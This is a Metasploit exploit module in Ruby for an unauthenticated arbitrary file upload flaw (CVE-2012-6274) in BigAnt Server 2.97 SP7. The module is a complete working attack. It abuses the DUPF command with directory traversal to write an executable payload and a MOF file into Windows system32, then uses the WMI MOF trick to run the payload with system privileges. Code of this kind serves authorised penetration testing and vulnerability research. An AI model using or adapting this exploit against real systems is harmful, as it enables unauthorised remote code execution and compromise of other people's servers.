BigAnt Server 2.97 – DUPF Command Arbitrary File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload', 'Description' => %q{ This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7. A lack of authentication allows to make unauthenticated file uploads through a DUPF command. Additionally the filename option in the same command can be used to launch a directory traversal attack and achieve arbitrary file upload. The module uses uses the Windows Management Instrumentation service to execute an arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 SP2. }, 'Author' => [ 'Hamburgers Maccoy', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-6274' ], [ 'US-CERT-VU', '990652' ], [ 'BID', '57214' ], [ 'OSVDB', '89342' ] ], 'Privileged' => true, 'Platform' => 'win', 'Targets' => [ [ 'BigAnt Server 2.97 SP7', { } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'DisclosureDate' => 'Jan 09 2013')) register_options( [ Opt::RPORT(6661), OptInt.new('DEPTH', [true, "Levels to reach base directory", 6]) ], self.class) end def upload_file(filename, content) random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" dupf = "DUPF 16\n" dupf << "cmdid: 1\n" dupf << "content-length: #{content.length}\n" dupf << "content-type: Appliction/Download\n" dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n" dupf << "modified: #{random_date}\n" dupf << "pclassid: 102\n" dupf << "pobjid: 1\n" dupf << "rootid: 1\n" dupf << "sendcheck: 1\n\n" dupf << content print_status("sending DUPF") connect sock.put(dupf) res = sock.get_once disconnect return res end def exploit peer = "#{rhost}:#{rport}" # Setup the necessary files to do the wbemexec trick exe_name = rand_text_alpha(rand(10)+5) + '.exe' exe = generate_payload_exe mof_name = rand_text_alpha(rand(10)+5) + '.mof' mof = generate_mof(mof_name, exe_name) print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}") res = upload_file("WINDOWS\\system32\\#{exe_name}", exe) if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ print_good("#{peer} - #{exe_name} uploaded successfully") else if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ print_error("#{peer} - Upload failed, check the DEPTH option") end fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}") end print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}") res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ print_good("#{peer} - #{mof_name} uploaded successfully") register_file_for_cleanup(exe_name) register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") else if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ print_error("#{peer} - Upload failed, check the DEPTH option") end fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}") end end end |